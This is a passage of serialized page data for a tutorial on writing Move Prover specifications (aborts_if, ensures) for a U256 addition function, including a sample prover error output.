u64,\n}\n",[9138],{"type":24,"tag":32,"props":9139,"children":9140},{"__ignoreMap":7},[9141,9184,9204,9224,9244,9264],{"type":24,"tag":83,"props":9142,"children":9143},{"class":85,"line":86},[9144,9149,9153,9158,9163,9167,9172,9176,9180],{"type":24,"tag":83,"props":9145,"children":9146},{"style":90},[9147],{"type":29,"value":9148},"struct",{"type":24,"tag":83,"props":9150,"children":9151},{"style":3163},[9152],{"type":29,"value":4475},{"type":24,"tag":83,"props":9154,"children":9155},{"style":137},[9156],{"type":29,"value":9157}," has",{"type":24,"tag":83,"props":9159,"children":9160},{"style":137},[9161],{"type":29,"value":9162}," copy",{"type":24,"tag":83,"props":9164,"children":9165},{"style":107},[9166],{"type":29,"value":568},{"type":24,"tag":83,"props":9168,"children":9169},{"style":137},[9170],{"type":29,"value":9171},"drop",{"type":24,"tag":83,"props":9173,"children":9174},{"style":107},[9175],{"type":29,"value":568},{"type":24,"tag":83,"props":9177,"children":9178},{"style":137},[9179],{"type":29,"value":5686},{"type":24,"tag":83,"props":9181,"children":9182},{"style":107},[9183],{"type":29,"value":125},{"type":24,"tag":83,"props":9185,"children":9186},{"class":85,"line":113},[9187,9192,9196,9200],{"type":24,"tag":83,"props":9188,"children":9189},{"style":137},[9190],{"type":29,"value":9191},"    v0",{"type":24,"tag":83,"props":9193,"children":9194},{"style":143},[9195],{"type":29,"value":195},{"type":24,"tag":83,"props":9197,"children":9198},{"style":3163},[9199],{"type":29,"value":5606},{"type":24,"tag":83,"props":9201,"children":9202},{"style":107},[9203],{"type":29,"value":989},{"type":24,"tag":83,"props":9205,"children":9206},{"class":85,"line":128},[9207,9212,9216,9220],{"type":24,"tag":83,"props":9208,"children":9209},{"style":137},[9210],{"type":29,"value":9211},"    v1",{"type":24,"tag":83,"props":9213,"children":9214},{"style":143},[9215],{"type":29,"value":195},{"type":24,"tag":83,"props":9217,"children":9218},{"style":3163},[9219],{"type":29,"value":5606},{"type":24,"tag":83,"props":9221,"children":9222},{"style":107},[9223],{"type":29,"value":989},{"type":24,"tag":83,"props":9225,"children":9226},{"class":85,"line":183},[9227,9232,9236,9240],{"type":24,"tag":83,"props":9228,"children":9229},{"style":137},[9230],{"type":29,"value":9231},"    v2",{"type":24,"tag":83,"props":9233,"children":9234},{"style":143},[9235],{"type":29,"value":195},{"type":24,"tag":83,"props":9237,"children":9238},{"style":3163},[9239],{"type":29,"value":5606},{"type":24,"tag":83,"props":9241,"children":9242},{"style":107},[9243],{"type":29,"value":989},{"type":24,"tag":83,"props":9245,"children":9246},{"class":85,"line":203},[9247,9252,9256,9260],{"type":24,"tag":83,"props":9248,"children":9249},{"style":137},[9250],{"type":29,"value":9251},"    v3",{"type":24,"tag":83,"props":9253,"children":9254},{"style":143},[9255],{"type":29,"value":195},{"type":24,"tag":83,"props":9257,"children":9258},{"style":3163},[9259],{"type":29,"value":5606},{"type":24,"tag":83,"props":9261,"children":9262},{"style":107},[9263],{"type":29,"value":989},{"type":24,"tag":83,"props":9265,"children":9266},{"class":85,"line":212},[9267],{"type":24,"tag":83,"props":9268,"children":9269},{"style":107},[9270],{"type":29,"value":464},{"type":24,"tag":25,"props":9272,"children":9273},{},[9274,9276,9282],{"type":29,"value":9275},"Now, let's consider the ",{"type":24,"tag":32,"props":9277,"children":9279},{"className":9278},[],[9280],{"type":29,"value":9281},"add(a: U256, b: U256): U256",{"type":29,"value":9283}," function. In order to verify the correctness of such a function, it might be useful to verify some of the group axioms, for example: commutativity and associativity.",{"type":24,"tag":25,"props":9285,"children":9286},{},[9287],{"type":29,"value":9288},"Specifications are declared in a specification block, which can be found in Move functions, as module member, or in a different file as a separate specification module.",{"type":24,"tag":25,"props":9290,"children":9291},{},[9292,9294,9300,9302,9309],{"type":29,"value":9293},"For example, if your file is ",{"type":24,"tag":32,"props":9295,"children":9297},{"className":9296},[],[9298],{"type":29,"value":9299},"sources/u256.move",{"type":29,"value":9301},", you can put specifications in ",{"type":24,"tag":2033,"props":9303,"children":9306},{"href":9304,"rel":9305},"https://github.com/pontem-network/u256/blob/main/sources/u256.spec.move",[2037],[9307],{"type":29,"value":9308},"sources/u256.spec.move",{"type":29,"value":161},{"type":24,"tag":73,"props":9311,"children":9313},{"code":9312,"language":2724,"meta":7,"className":2725,"style":7},"spec add { ... }\n",[9314],{"type":24,"tag":32,"props":9315,"children":9316},{"__ignoreMap":7},[9317],{"type":24,"tag":83,"props":9318,"children":9319},{"class":85,"line":86},[9320,9324,9329,9334,9338],{"type":24,"tag":83,"props":9321,"children":9322},{"style":137},[9323],{"type":29,"value":8020},{"type":24,"tag":83,"props":9325,"children":9326},{"style":137},[9327],{"type":29,"value":9328}," add",{"type":24,"tag":83,"props":9330,"children":9331},{"style":107},[9332],{"type":29,"value":9333}," { ",{"type":24,"tag":83,"props":9335,"children":9336},{"style":143},[9337],{"type":29,"value":509},{"type":24,"tag":83,"props":9339,"children":9340},{"style":107},[9341],{"type":29,"value":9342}," }\n",{"type":24,"tag":25,"props":9344,"children":9345},{},[9346,9348,9353],{"type":29,"value":9347},"The specifications placed inside the specification blocks are considered ",{"type":24,"tag":2655,"props":9349,"children":9350},{},[9351],{"type":29,"value":9352},"Expressions",{"type":29,"value":161},{"type":24,"tag":1818,"props":9355,"children":9357},{"id":9356},"expressions",[9358],{"type":29,"value":9352},{"type":24,"tag":25,"props":9360,"children":9361},{},[9362],{"type":29,"value":9363},"Let's go over some common expressions.",{"type":24,"tag":25,"props":9365,"children":9366},{},[9367,9372],{"type":24,"tag":32,"props":9368,"children":9370},{"className":9369},[],[9371],{"type":29,"value":8070},{"type":29,"value":9373}," defines when the function can abort. This is especially useful in the context of smart contract development, where an abort would cause the entire transaction to rollback.",{"type":24,"tag":25,"props":9375,"children":9376},{},[9377,9379,9385],{"type":29,"value":9378},"For example, the ",{"type":24,"tag":32,"props":9380,"children":9382},{"className":9381},[],[9383],{"type":29,"value":9384},"add",{"type":29,"value":9386}," function aborts if and only if the U256 addition overflows. Let's put these words into an expression:",{"type":24,"tag":73,"props":9388,"children":9390},{"code":9389,"language":2724,"meta":7,"className":2725,"style":7},"const P64: u128 = 0x10000000000000000;\n\nspec fun value_of_U256(a: U256): num {\n    a.v0 +\n    a.v1 * P64 +\n    a.v2 * P64 * P64 +\n    a.v3 * P64 * P64 * P64\n}\n\nspec add {\n    aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n}\n",[9391],{"type":24,"tag":32,"props":9392,"children":9393},{"__ignoreMap":7},[9394,9428,9435,9484,9506,9535,9572,9613,9620,9627,9642,9723],{"type":24,"tag":83,"props":9395,"children":9396},{"class":85,"line":86},[9397,9402,9407,9411,9415,9419,9424],{"type":24,"tag":83,"props":9398,"children":9399},{"style":90},[9400],{"type":29,"value":9401},"const",{"type":24,"tag":83,"props":9403,"children":9404},{"style":107},[9405],{"type":29,"value":9406}," P64",{"type":24,"tag":83,"props":9408,"children":9409},{"style":143},[9410],{"type":29,"value":195},{"type":24,"tag":83,"props":9412,"children":9413},{"style":3163},[9414],{"type":29,"value":8591},{"type":24,"tag":83,"props":9416,"children":9417},{"style":143},[9418],{"type":29,"value":146},{"type":24,"tag":83,"props":9420,"children":9421},{"style":245},[9422],{"type":29,"value":9423}," 0x10000000000000000",{"type":24,"tag":83,"props":9425,"children":9426},{"style":107},[9427],{"type":29,"value":321},{"type":24,"tag":83,"props":9429,"children":9430},{"class":85,"line":113},[9431],{"type":24,"tag":83,"props":9432,"children":9433},{"emptyLinePlaceholder":16},[9434],{"type":29,"value":3422},{"type":24,"tag":83,"props":9436,"children":9437},{"class":85,"line":128},[9438,9442,9446,9451,9455,9459,9463,9467,9471,9475,9480],{"type":24,"tag":83,"props":9439,"children":9440},{"style":137},[9441],{"type":29,"value":8020},{"type":24,"tag":83,"props":9443,"children":9444},{"style":137},[9445],{"type":29,"value":5953},{"type":24,"tag":83,"props":9447,"children":9448},{"style":101},[9449],{"type":29,"value":9450}," value_of_U256",{"type":24,"tag":83,"props":9452,"children":9453},{"style":107},[9454],{"type":29,"value":558},{"type":24,"tag":83,"props":9456,"children":9457},{"style":137},[9458],{"type":29,"value":2033},{"type":24,"tag":83,"props":9460,"children":9461},{"style":143},[9462],{"type":29,"value":195},{"type":24,"tag":83,"props":9464,"children":9465},{"style":3163},[9466],{"type":29,"value":4475},{"type":24,"tag":83,"props":9468,"children":9469},{"style":107},[9470],{"type":29,"value":2872},{"type":24,"tag":83,"props":9472,"children":9473},{"style":143},[9474],{"type":29,"value":195},{"type":24,"tag":83,"props":9476,"children":9477},{"style":137},[9478],{"type":29,"value":9479}," num",{"type":24,"tag":83,"props":9481,"children":9482},{"style":107},[9483],{"type":29,"value":125},{"type":24,"tag":83,"props":9485,"children":9486},{"class":85,"line":183},[9487,9492,9496,9501],{"type":24,"tag":83,"props":9488,"children":9489},{"style":137},[9490],{"type":29,"value":9491},"    a",{"type":24,"tag":83,"props":9493,"children":9494},{"style":143},[9495],{"type":29,"value":161},{"type":24,"tag":83,"props":9497,"children":9498},{"style":107},[9499],{"type":29,"value":9500},"v0 ",{"type":24,"tag":83,"props":9502,"children":9503},{"style":143},[9504],{"type":29,"value":9505},"+\n",{"type":24,"tag":83,"props":9507,"children":9508},{"class":85,"line":203},[9509,9513,9517,9522,9526,9530],{"type":24,"tag":83,"props":9510,"children":9511},{"style":137},[9512],{"type":29,"value":9491},{"type":24,"tag":83,"props":9514,"children":9515},{"style":143},[9516],{"type":29,"value":161},{"type":24,"tag":83,"props":9518,"children":9519},{"style":107},[9520],{"type":29,"value":9521},"v1 ",{"type":24,"tag":83,"props":9523,"children":9524},{"style":143},[9525],{"type":29,"value":4315},{"type":24,"tag":83,"props":9527,"children":9528},{"style":3163},[9529],{"type":29,"value":9406},{"type":24,"tag":83,"props":9531,"children":9532},{"style":143},[9533],{"type":29,"value":9534}," +\n",{"type":24,"tag":83,"props":9536,"children":9537},{"class":85,"line":212},[9538,9542,9546,9551,9555,9559,9564,9568],{"type":24,"tag":83,"props":9539,"children":9540},{"style":137},[9541],{"type":29,"value":9491},{"type":24,"tag":83,"props":9543,"children":9544},{"style":143},[9545],{"type":29,"value":161},{"type":24,"tag":83,"props":9547,"children":9548},{"style":107},[9549],{"type":29,"value":9550},"v2 ",{"type":24,"tag":83,"props":9552,"children":9553},{"style":143},[9554],{"type":29,"value":4315},{"type":24,"tag":83,"props":9556,"children":9557},{"style":3163},[9558],{"type":29,"value":9406},{"type":24,"tag":83,"props":9560,"children":9561},{"style":143},[9562],{"type":29,"value":9563}," *",{"type":24,"tag":83,"props":9565,"children":9566},{"style":3163},[9567],{"type":29,"value":9406},{"type":24,"tag":83,"props":9569,"children":9570},{"style":143},[9571],{"type":29,"value":9534},{"type":24,"tag":83,"props":9573,"children":9574},{"class":85,"line":256},[9575,9579,9583,9588,9592,9596,9600,9604,9608],{"type":24,"tag":83,"props":9576,"children":9577},{"style":137},[9578],{"type":29,"value":9491},{"type":24,"tag":83,"props":9580,"children":9581},{"style":143},[9582],{"type":29,"value":161},{"type":24,"tag":83,"props":9584,"children":9585},{"style":107},[9586],{"type":29,"value":9587},"v3 ",{"type":24,"tag":83,"props":9589,"children":9590},{"style":143},[9591],{"type":29,"value":4315},{"type":24,"tag":83,"props":9593,"children":9594},{"style":3163},[9595],{"type":29,"value":9406},{"type":24,"tag":83,"props":9597,"children":9598},{"style":143},[9599],{"type":29,"value":9563},{"type":24,"tag":83,"props":9601,"children":9602},{"style":3163},[9603],{"type":29,"value":9406},{"type":24,"tag":83,"props":9605,"children":9606},{"style":143},[9607],{"type":29,"value":9563},{"type":24,"tag":83,"props":9609,"children":9610},{"style":3163},[9611],{"type":29,"value":9612}," P64\n",{"type":24,"tag":83,"props":9614,"children":9615},{"class":85,"line":270},[9616],{"type":24,"tag":83,"props":9617,"children":9618},{"style":107},[9619],{"type":29,"value":464},{"type":24,"tag":83,"props":9621,"children":9622},{"class":85,"line":302},[9623],{"type":24,"tag":83,"props":9624,"children":9625},{"emptyLinePlaceholder":16},[9626],{"type":29,"value":3422},{"type":24,"tag":83,"props":9628,"children":9629},{"class":85,"line":324},[9630,9634,9638],{"type":24,"tag":83,"props":9631,"children":9632},{"style":137},[9633],{"type":29,"value":8020},{"type":24,"tag":83,"props":9635,"children":9636},{"style":137},[9637],{"type":29,"value":9328},{"type":24,"tag":83,"props":9639,"children":9640},{"style":107},[9641],{"type":29,"value":125},{"type":24,"tag":83,"props":9643,"children":9644},{"class":85,"line":345},[9645,9650,9654,9658,9662,9666,9670,9674,9678,9682,9686,9691,9695,9699,9703,9707,9711,9715,9719],{"type":24,"tag":83,"props":9646,"children":9647},{"style":137},[9648],{"type":29,"value":9649},"    aborts_if",{"type":24,"tag":83,"props":9651,"children":9652},{"style":101},[9653],{"type":29,"value":9450},{"type":24,"tag":83,"props":9655,"children":9656},{"style":107},[9657],{"type":29,"value":558},{"type":24,"tag":83,"props":9659,"children":9660},{"style":137},[9661],{"type":29,"value":2033},{"type":24,"tag":83,"props":9663,"children":9664},{"style":107},[9665],{"type":29,"value":633},{"type":24,"tag":83,"props":9667,"children":9668},{"style":143},[9669],{"type":29,"value":4126},{"type":24,"tag":83,"props":9671,"children":9672},{"style":101},[9673],{"type":29,"value":9450},{"type":24,"tag":83,"props":9675,"children":9676},{"style":107},[9677],{"type":29,"value":558},{"type":24,"tag":83,"props":9679,"children":9680},{"style":137},[9681],{"type":29,"value":2968},{"type":24,"tag":83,"props":9683,"children":9684},{"style":107},[9685],{"type":29,"value":633},{"type":24,"tag":83,"props":9687,"children":9688},{"style":143},[9689],{"type":29,"value":9690},">=",{"type":24,"tag":83,"props":9692,"children":9693},{"style":3163},[9694],{"type":29,"value":9406},{"type":24,"tag":83,"props":9696,"children":9697},{"style":143},[9698],{"type":29,"value":9563},{"type":24,"tag":83,"props":9700,"children":9701},{"style":3163},[9702],{"type":29,"value":9406},{"type":24,"tag":83,"props":9704,"children":9705},{"style":143},[9706],{"type":29,"value":9563},{"type":24,"tag":83,"props":9708,"children":9709},{"style":3163},[9710],{"type":29,"value":9406},{"type":24,"tag":83,"props":9712,"children":9713},{"style":143},[9714],{"type":29,"value":9563},{"type":24,"tag":83,"props":9716,"children":9717},{"style":3163},[9718],{"type":29,"value":9406},{"type":24,"tag":83,"props":9720,"children":9721},{"style":107},[9722],{"type":29,"value":321},{"type":24,"tag":83,"props":9724,"children":9725},{"class":85,"line":358},[9726],{"type":24,"tag":83,"props":9727,"children":9728},{"style":107},[9729],{"type":29,"value":464},{"type":24,"tag":25,"props":9731,"children":9732},{},[9733,9735,9742],{"type":29,"value":9734},"We can observe in the snippet above, that we are allowed to call functions inside the spec block. However, the callee must either be an ",{"type":24,"tag":2033,"props":9736,"children":9739},{"href":9737,"rel":9738},"https://github.com/move-language/move/blob/f7d5b1a3f4d622c17f540190fa4fa12323cb0bb8/language/move-prover/doc/user/spec-lang.md#builtin-functions",[2037],[9740],{"type":29,"value":9741},"MSL function",{"type":29,"value":9743},", or a pure Move function. A pure Move function can be defined as a function that does not modify the global state or use Move expression features unsupported by MSL.",{"type":24,"tag":25,"props":9745,"children":9746},{},[9747,9749,9754,9755,9760],{"type":29,"value":9748},"A common pattern for ",{"type":24,"tag":32,"props":9750,"children":9752},{"className":9751},[],[9753],{"type":29,"value":8070},{"type":29,"value":5246},{"type":24,"tag":32,"props":9756,"children":9758},{"className":9757},[],[9759],{"type":29,"value":8078},{"type":29,"value":9761},", which lets you prove that a function will never abort.",{"type":24,"tag":73,"props":9763,"children":9765},{"code":9764,"language":2724,"meta":7,"className":2725,"style":7},"spec critical_function {\n    aborts_if false;\n}\n",[9766],{"type":24,"tag":32,"props":9767,"children":9768},{"__ignoreMap":7},[9769,9785,9800],{"type":24,"tag":83,"props":9770,"children":9771},{"class":85,"line":86},[9772,9776,9781],{"type":24,"tag":83,"props":9773,"children":9774},{"style":137},[9775],{"type":29,"value":8020},{"type":24,"tag":83,"props":9777,"children":9778},{"style":137},[9779],{"type":29,"value":9780}," critical_function",{"type":24,"tag":83,"props":9782,"children":9783},{"style":107},[9784],{"type":29,"value":125},{"type":24,"tag":83,"props":9786,"children":9787},{"class":85,"line":113},[9788,9792,9796],{"type":24,"tag":83,"props":9789,"children":9790},{"style":137},[9791],{"type":29,"value":9649},{"type":24,"tag":83,"props":9793,"children":9794},{"style":90},[9795],{"type":29,"value":8803},{"type":24,"tag":83,"props":9797,"children":9798},{"style":107},[9799],{"type":29,"value":321},{"type":24,"tag":83,"props":9801,"children":9802},{"class":85,"line":128},[9803],{"type":24,"tag":83,"props":9804,"children":9805},{"style":107},[9806],{"type":29,"value":464},{"type":24,"tag":25,"props":9808,"children":9809},{},[9810,9812,9818],{"type":29,"value":9811},"Another type of expression that we can use is ",{"type":24,"tag":32,"props":9813,"children":9815},{"className":9814},[],[9816],{"type":29,"value":9817},"ensures",{"type":29,"value":9819},". As the name suggests, it ensures that a certain condition is true at the end of a function's execution.",{"type":24,"tag":25,"props":9821,"children":9822},{},[9823,9825,9830,9832,9837],{"type":29,"value":9824},"In the case of the ",{"type":24,"tag":32,"props":9826,"children":9828},{"className":9827},[],[9829],{"type":29,"value":9384},{"type":29,"value":9831}," function, we want to ensure that the return value is the sum of the 2 parameters. Note that because ",{"type":24,"tag":2040,"props":9833,"children":9834},{},[9835],{"type":29,"value":9836},"MSL uses unbounded numbers",{"type":29,"value":9838},", we're able to very cleanly express this property without worrying about overflows.",{"type":24,"tag":73,"props":9840,"children":9842},{"code":9841,"language":2724,"meta":7,"className":2725,"style":7},"spec add {\n    aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n    ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n}\n",[9843],{"type":24,"tag":32,"props":9844,"children":9845},{"__ignoreMap":7},[9846,9861,9940,10004],{"type":24,"tag":83,"props":9847,"children":9848},{"class":85,"line":86},[9849,9853,9857],{"type":24,"tag":83,"props":9850,"children":9851},{"style":137},[9852],{"type":29,"value":8020},{"type":24,"tag":83,"props":9854,"children":9855},{"style":137},[9856],{"type":29,"value":9328},{"type":24,"tag":83,"props":9858,"children":9859},{"style":107},[9860],{"type":29,"value":125},{"type":24,"tag":83,"props":9862,"children":9863},{"class":85,"line":113},[9864,9868,9872,9876,9880,9884,9888,9892,9896,9900,9904,9908,9912,9916,9920,9924,9928,9932,9936],{"type":24,"tag":83,"props":9865,"children":9866},{"style":137},[9867],{"type":29,"value":9649},{"type":24,"tag":83,"props":9869,"children":9870},{"style":101},[9871],{"type":29,"value":9450},{"type":24,"tag":83,"props":9873,"children":9874},{"style":107},[9875],{"type":29,"value":558},{"type":24,"tag":83,"props":9877,"children":9878},{"style":137},[9879],{"type":29,"value":2033},{"type":24,"tag":83,"props":9881,"children":9882},{"style":107},[9883],{"type":29,"value":633},{"type":24,"tag":83,"props":9885,"children":9886},{"style":143},[9887],{"type":29,"value":4126},{"type":24,"tag":83,"props":9889,"children":9890},{"style":101},[9891],{"type":29,"value":9450},{"type":24,"tag":83,"props":9893,"children":9894},{"style":107},[9895],{"type":29,"value":558},{"type":24,"tag":83,"props":9897,"children":9898},{"style":137},[9899],{"type":29,"value":2968},{"type":24,"tag":83,"props":9901,"children":9902},{"style":107},[9903],{"type":29,"value":633},{"type":24,"tag":83,"props":9905,"children":9906},{"style":143},[9907],{"type":29,"value":9690},{"type":24,"tag":83,"props":9909,"children":9910},{"style":3163},[9911],{"type":29,"value":9406},{"type":24,"tag":83,"props":9913,"children":9914},{"style":143},[9915],{"type":29,"value":9563},{"type":24,"tag":83,"props":9917,"children":9918},{"style":3163},[9919],{"type":29,"value":9406},{"type":24,"tag":83,"props":9921,"children":9922},{"style":143},[9923],{"type":29,"value":9563},{"type":24,"tag":83,"props":9925,"children":9926},{"style":3163},[9927],{"type":29,"value":9406},{"type":24,"tag":83,"props":9929,"children":9930},{"style":143},[9931],{"type":29,"value":9563},{"type":24,"tag":83,"props":9933,"children":9934},{"style":3163},[9935],{"type":29,"value":9406},{"type":24,"tag":83,"props":9937,"children":9938},{"style":107},[9939],{"type":29,"value":321},{"type":24,"tag":83,"props":9941,"children":9942},{"class":85,"line":128},[9943,9948,9952,9956,9960,9964,9968,9972,9976,9980,9984,9988,9992,9996,10000],{"type":24,"tag":83,"props":9944,"children":9945},{"style":137},[9946],{"type":29,"value":9947},"    ensures",{"type":24,"tag":83,"props":9949,"children":9950},{"style":101},[9951],{"type":29,"value":9450},{"type":24,"tag":83,"props":9953,"children":9954},{"style":107},[9955],{"type":29,"value":558},{"type":24,"tag":83,"props":9957,"children":9958},{"style":137},[9959],{"type":29,"value":8828},{"type":24,"tag":83,"props":9961,"children":9962},{"style":107},[9963],{"type":29,"value":633},{"type":24,"tag":83,"props":9965,"children":9966},{"style":143},[9967],{"type":29,"value":8320},{"type":24,"tag":83,"props":9969,"children":9970},{"style":101},[9971],{"type":29,"value":9450},{"type":24,"tag":83,"props":9973,"children":9974},{"style":107},[9975],{"type":29,"value":558},{"type":24,"tag":83,"props":9977,"children":9978},{"style":137},[9979],{"type":29,"value":2033},{"type":24,"tag":83,"props":9981,"children":9982},{"style":107},[9983],{"type":29,"value":633},{"type":24,"tag":83,"props":9985,"children":9986},{"style":143},[9987],{"type":29,"value":4126},{"type":24,"tag":83,"props":9989,"children":9990},{"style":101},[9991],{"type":29,"value":9450},{"type":24,"tag":83,"props":9993,"children":9994},{"style":107},[9995],{"type":29,"value":558},{"type":24,"tag":83,"props":9997,"children":9998},{"style":137},[9999],{"type":29,"value":2968},{"type":24,"tag":83,"props":10001,"children":10002},{"style":107},[10003],{"type":29,"value":581},{"type":24,"tag":83,"props":10005,"children":10006},{"class":85,"line":183},[10007],{"type":24,"tag":83,"props":10008,"children":10009},{"style":107},[10010],{"type":29,"value":464},{"type":24,"tag":25,"props":10012,"children":10013},{},[10014],{"type":29,"value":10015},"Note that because Move specification functions are written in MSL, the numbers are unbounded and we can define the expression without risk of overflow.",{"type":24,"tag":25,"props":10017,"children":10018},{},[10019],{"type":29,"value":10020},"Let's try to prove the library with the specifications from above:",{"type":24,"tag":73,"props":10022,"children":10024},{"code":10023,"language":3987,"meta":7,"className":3988,"style":7},"$ move prove\n",[10025],{"type":24,"tag":32,"props":10026,"children":10027},{"__ignoreMap":7},[10028],{"type":24,"tag":83,"props":10029,"children":10030},{"class":85,"line":86},[10031,10036,10041],{"type":24,"tag":83,"props":10032,"children":10033},{"style":101},[10034],{"type":29,"value":10035},"$",{"type":24,"tag":83,"props":10037,"children":10038},{"style":187},[10039],{"type":29,"value":10040}," move",{"type":24,"tag":83,"props":10042,"children":10043},{"style":187},[10044],{"type":29,"value":10045}," prove\n",{"type":24,"tag":25,"props":10047,"children":10048},{},[10049],{"type":29,"value":10050},"It outputs the following error information:",{"type":24,"tag":73,"props":10052,"children":10054},{"code":10053,"language":3987,"meta":7,"className":3988,"style":7},"[...]\n\nerror: abort not covered by any of the `aborts_if` clauses\n╭     spec add {\n|         aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n|         ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n|     }\n╰─────^\n\n[...]\n\n at ./sources/u256.move:316: add\n enter loop, variable(s) carry, i, ret havocked and reassigned\n     carry = 54\n     i = 3792\n     ret = u256.U256{v0 = 26418, v1 = 27938, v2 = 6900, v3 = 1999}\n at ./sources/u256.move:346: add\n     ABORTED\n\nFAILURE proving 1 modules from package `u256` in 9.143s\n{\n    \"Error\": \"Move Prover failed: exiting with verification errors\"\n}\n",[10055],{"type":24,"tag":32,"props":10056,"children":10057},{"__ignoreMap":7},[10058,10066,10073,10135,10156,10246,10314,10326,10334,10341,10348,10355,10373,10434,10451,10468,10540,10556,10564,10571,10621,10629,10646],{"type":24,"tag":83,"props":10059,"children":10060},{"class":85,"line":86},[10061],{"type":24,"tag":83,"props":10062,"children":10063},{"style":107},[10064],{"type":29,"value":10065},"[...]\n",{"type":24,"tag":83,"props":10067,"children":10068},{"class":85,"line":113},[10069],{"type":24,"tag":83,"props":10070,"children":10071},{"emptyLinePlaceholder":16},[10072],{"type":29,"value":3422},{"type":24,"tag":83,"props":10074,"children":10075},{"class":85,"line":128},[10076,10081,10086,10091,10096,10101,10106,10111,10116,10121,10125,10130],{"type":24,"tag":83,"props":10077,"children":10078},{"style":101},[10079],{"type":29,"value":10080},"error:",{"type":24,"tag":83,"props":10082,"children":10083},{"style":187},[10084],{"type":29,"value":10085}," abort",{"type":24,"tag":83,"props":10087,"children":10088},{"style":187},[10089],{"type":29,"value":10090}," not",{"type":24,"tag":83,"props":10092,"children":10093},{"style":187},[10094],{"type":29,"value":10095}," covered",{"type":24,"tag":83,"props":10097,"children":10098},{"style":187},[10099],{"type":29,"value":10100}," by",{"type":24,"tag":83,"props":10102,"children":10103},{"style":187},[10104],{"type":29,"value":10105}," any",{"type":24,"tag":83,"props":10107,"children":10108},{"style":187},[10109],{"type":29,"value":10110}," of",{"type":24,"tag":83,"props":10112,"children":10113},{"style":187},[10114],{"type":29,"value":10115}," the",{"type":24,"tag":83,"props":10117,"children":10118},{"style":187},[10119],{"type":29,"value":10120}," `",{"type":24,"tag":83,"props":10122,"children":10123},{"style":101},[10124],{"type":29,"value":8070},{"type":24,"tag":83,"props":10126,"children":10127},{"style":187},[10128],{"type":29,"value":10129},"`",{"type":24,"tag":83,"props":10131,"children":10132},{"style":101},[10133],{"type":29,"value":10134}," clauses\n",{"type":24,"tag":83,"props":10136,"children":10137},{"class":85,"line":183},[10138,10143,10148,10152],{"type":24,"tag":83,"props":10139,"children":10140},{"style":101},[10141],{"type":29,"value":10142},"╭",{"type":24,"tag":83,"props":10144,"children":10145},{"style":187},[10146],{"type":29,"value":10147},"     spec",{"type":24,"tag":83,"props":10149,"children":10150},{"style":187},[10151],{"type":29,"value":9328},{"type":24,"tag":83,"props":10153,"children":10154},{"style":187},[10155],{"type":29,"value":125},{"type":24,"tag":83,"props":10157,"children":10158},{"class":85,"line":203},[10159,10164,10169,10173,10177,10181,10185,10189,10193,10197,10201,10205,10210,10214,10218,10222,10226,10230,10234,10238,10242],{"type":24,"tag":83,"props":10160,"children":10161},{"style":143},[10162],{"type":29,"value":10163},"|",{"type":24,"tag":83,"props":10165,"children":10166},{"style":101},[10167],{"type":29,"value":10168},"         aborts_if",{"type":24,"tag":83,"props":10170,"children":10171},{"style":187},[10172],{"type":29,"value":9450},{"type":24,"tag":83,"props":10174,"children":10175},{"style":107},[10176],{"type":29,"value":558},{"type":24,"tag":83,"props":10178,"children":10179},{"style":101},[10180],{"type":29,"value":2033},{"type":24,"tag":83,"props":10182,"children":10183},{"style":107},[10184],{"type":29,"value":633},{"type":24,"tag":83,"props":10186,"children":10187},{"style":187},[10188],{"type":29,"value":4126},{"type":24,"tag":83,"props":10190,"children":10191},{"style":187},[10192],{"type":29,"value":9450},{"type":24,"tag":83,"props":10194,"children":10195},{"style":107},[10196],{"type":29,"value":558},{"type":24,"tag":83,"props":10198,"children":10199},{"style":101},[10200],{"type":29,"value":2968},{"type":24,"tag":83,"props":10202,"children":10203},{"style":107},[10204],{"type":29,"value":633},{"type":24,"tag":83,"props":10206,"children":10207},{"style":143},[10208],{"type":29,"value":10209},">",{"type":24,"tag":83,"props":10211,"children":10212},{"style":187},[10213],{"type":29,"value":1275},{"type":24,"tag":83,"props":10215,"children":10216},{"style":187},[10217],{"type":29,"value":9406},{"type":24,"tag":83,"props":10219,"children":10220},{"style":90},[10221],{"type":29,"value":9563},{"type":24,"tag":83,"props":10223,"children":10224},{"style":187},[10225],{"type":29,"value":9406},{"type":24,"tag":83,"props":10227,"children":10228},{"style":90},[10229],{"type":29,"value":9563},{"type":24,"tag":83,"props":10231,"children":10232},{"style":187},[10233],{"type":29,"value":9406},{"type":24,"tag":83,"props":10235,"children":10236},{"style":90},[10237],{"type":29,"value":9563},{"type":24,"tag":83,"props":10239,"children":10240},{"style":187},[10241],{"type":29,"value":9406},{"type":24,"tag":83,"props":10243,"children":10244},{"style":107},[10245],{"type":29,"value":321},{"type":24,"tag":83,"props":10247,"children":10248},{"class":85,"line":212},[10249,10253,10258,10262,10266,10270,10274,10278,10282,10286,10290,10294,10298,10302,10306,10310],{"type":24,"tag":83,"props":10250,"children":10251},{"style":143},[10252],{"type":29,"value":10163},{"type":24,"tag":83,"props":10254,"children":10255},{"style":101},[10256],{"type":29,"value":10257},"         ensures",{"type":24,"tag":83,"props":10259,"children":10260},{"style":187},[10261],{"type":29,"value":9450},{"type":24,"tag":83,"props":10263,"children":10264},{"style":107},[10265],{"type":29,"value":558},{"type":24,"tag":83,"props":10267,"children":10268},{"style":101},[10269],{"type":29,"value":8828},{"type":24,"tag":83,"props":10271,"children":10272},{"style":107},[10273],{"type":29,"value":633},{"type":24,"tag":83,"props":10275,"children":10276},{"style":187},[10277],{"type":29,"value":8320},{"type":24,"tag":83,"props":10279,"children":10280},{"style":187},[10281],{"type":29,"value":9450},{"type":24,"tag":83,"props":10283,"children":10284},{"style":107},[10285],{"type":29,"value":558},{"type":24,"tag":83,"props":10287,"children":10288},{"style":101},[10289],{"type":29,"value":2033},{"type":24,"tag":83,"props":10291,"children":10292},{"style":107},[10293],{"type":29,"value":633},{"type":24,"tag":83,"props":10295,"children":10296},{"style":187},[10297],{"type":29,"value":4126},{"type":24,"tag":83,"props":10299,"children":10300},{"style":187},[10301],{"type":29,"value":9450},{"type":24,"tag":83,"props":10303,"children":10304},{"style":107},[10305],{"type":29,"value":558},{"type":24,"tag":83,"props":10307,"children":10308},{"style":101},[10309],{"type":29,"value":2968},{"type":24,"tag":83,"props":10311,"children":10312},{"style":107},[10313],{"type":29,"value":581},{"type"